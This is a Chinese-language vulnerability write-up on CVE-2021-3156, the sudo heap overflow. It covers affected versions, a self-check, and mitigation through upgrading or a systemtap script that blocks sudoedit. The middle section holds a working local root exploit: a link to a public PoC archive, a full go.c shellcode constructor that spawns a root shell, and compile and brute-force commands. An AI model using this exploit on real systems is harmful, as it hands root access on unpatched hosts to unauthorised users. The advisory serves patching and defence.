目录
CVE-2021-3156 —— Sudo 堆缓冲区溢出漏洞
描述
2021年01月27日,监测到RedHat官方发布了sudo 缓冲区/栈溢出漏洞的风险通告,该漏洞编号为CVE-2021-3156,Sudo具有基于堆的缓冲区溢出,攻击者可以通过“ sudoedit -s”和以单个反斜杠字符结尾的命令行参数将特权提升到root用户。
在sudo解析命令行参数的方式中发现了基于堆的缓冲区溢出。任何本地用户(普通用户和系统用户,sudoer和非sudoers)都可以利用此漏洞,从而绕过策略从普通账号权限提升获取到root权限。
该漏洞在类似Unix的主要操作系统上都可以使用。通过利用此漏洞,任何没有特权的用户都可以使用默认的sudo配置在易受攻击的主机上获得root特权。
Sudo是一个功能强大的实用程序,大多数(如果不是全部)基于Unix和Linux的操作系统都包含Sudo。它允许用户使用其他用户的安全特权运行程序。该漏洞本身已经隐藏了将近十年。它于2011年7月引入(提交8255ed69),在默认配置下会影响从1.8.2到1.8.31p2的所有旧版本以及从1.9.0到1.9.5p1的所有稳定版本。
成功利用此漏洞,任何没有特权的用户都可以在易受攻击的主机上获得root特权。Qualys安全研究人员已经能够在Ubuntu 20.04(Sudo 1.8.31),Debian 10(Sudo 1.8.27)和Fedora 33(Sudo 1.9.2)上独立验证漏洞并开发多种利用漏洞并获得完整的root用户特权。 其他操作系统和发行版也可能会被利用。
Qualys研究小组确认该漏洞后,Qualys进行了负责任的漏洞披露,并与sudo的作者和开源发行版进行了协调,以宣布该漏洞。
影响
漏洞等级:高危,1.9.5p2之前的版本
sudo:sudo: 1.8.2 - 1.8.31p2
sudo:sudo: 1.9.0 - 1.9.5p1
环境
ubuntu 18.04
过程
POC
用户可以使用如下方法进行自查:
以非root用户登录系统,并使用命令sudoedit -s /
- 如果响应一个以sudoedit:
开头的报错,那么表明存在漏洞。
- 如果响应一个以usage:
开头的报错,那么表明补丁已经生效。
https://haxx.in/CVE-2021-3156nsspoc_ubuntu.tar.gz
下载-解压-编译(make)-执行(
make
./sudo-hax-me-a-sandwich 0
)
文件 go.c 如下:
static void __attribute__((constructor)) _init(void) {
__asm __volatile__(
"addq $64, %rsp;"
// setuid(0);
"movq $105, %rax;"
"movq $0, %rdi;"
"syscall;"
// setgid(0);
"movq $106, %rax;"
"movq $0, %rdi;"
"syscall;"
// dup2(0, 1);
"movq $33, %rax;"
"movq $0, %rdi;"
"movq $1, %rsi;"
"syscall;"
// dup2(0, 2);
"movq $33, %rax;"
"movq $0, %rdi;"
"movq $2, %rsi;"
"syscall;"
// execve("/bin/sh");
"movq $59, %rax;"
"movq $0x0068732f6e69622f, %rdi;"
"pushq %rdi;"
"movq %rsp, %rdi;"
"movq $0, %rdx;"
"pushq %rdx;"
"pushq %rdi;"
"movq %rsp, %rsi;"
"syscall;"
// exit(0);
"movq $60, %rax;"
"movq $0, %rdi;"
"syscall;");
}
cd /tmp mkdir libnss_X gcc -fpic -shared -nostdlib -o libnss_X/X.so.2 go.c for i in {1..128000}; do echo -n "try number $i "; ./exploit; done
修复建议
通用修补建议
下载升级sudo
软件包,下载链接为:
sudo软件包下载地址
https://www.sudo.ws/dist/
临时修补建议
对于无法立即更新的用户,建议使用systemtap
进行以下临时缓解:
1. 安装所需的systemtap
软件包和依赖项:
systemtap yum-utils kernel-devel-"$(uname -r)"
对于RHEL 7
,使用命令安装 kernel debuginfo:debuginfo-install -y kernel-"$(uname -r)"
。对于RHEL 8
,使用命令安装 sudo debuginfo:debuginfo-install sudo
。
2. 创建以下systemtap
脚本(将文件命名为sudoedit-block.stap
):
probe process("/usr/bin/sudo").function("main") {
command = cmdline_args(0,0,"");
if (strpos(command, "edit") >= 0) {
raise(9);
}
}
3. 使用以下命令安装脚本:(使用root权限)
# nohup stap -g sudoedit-block.stap &
该脚本将使得易受攻击的sudoedit
二进制文件停止工作。sudo命令仍将照常工作。上述更改在重启后失效,必须在每次重启后重新应用。
4. 一旦安装了补丁程序,就可以通过取消systemtap
进程来删除systemtap
脚本。例如,通过使用:
# kill -s SIGTERM 7590 (其中7590是systemtap进程的PID)
参考链接
下载升级sudo软件包,下载链接为:https://www.sudo.ws/dist/
https://www.jianshu.com/p/5280c514d9a8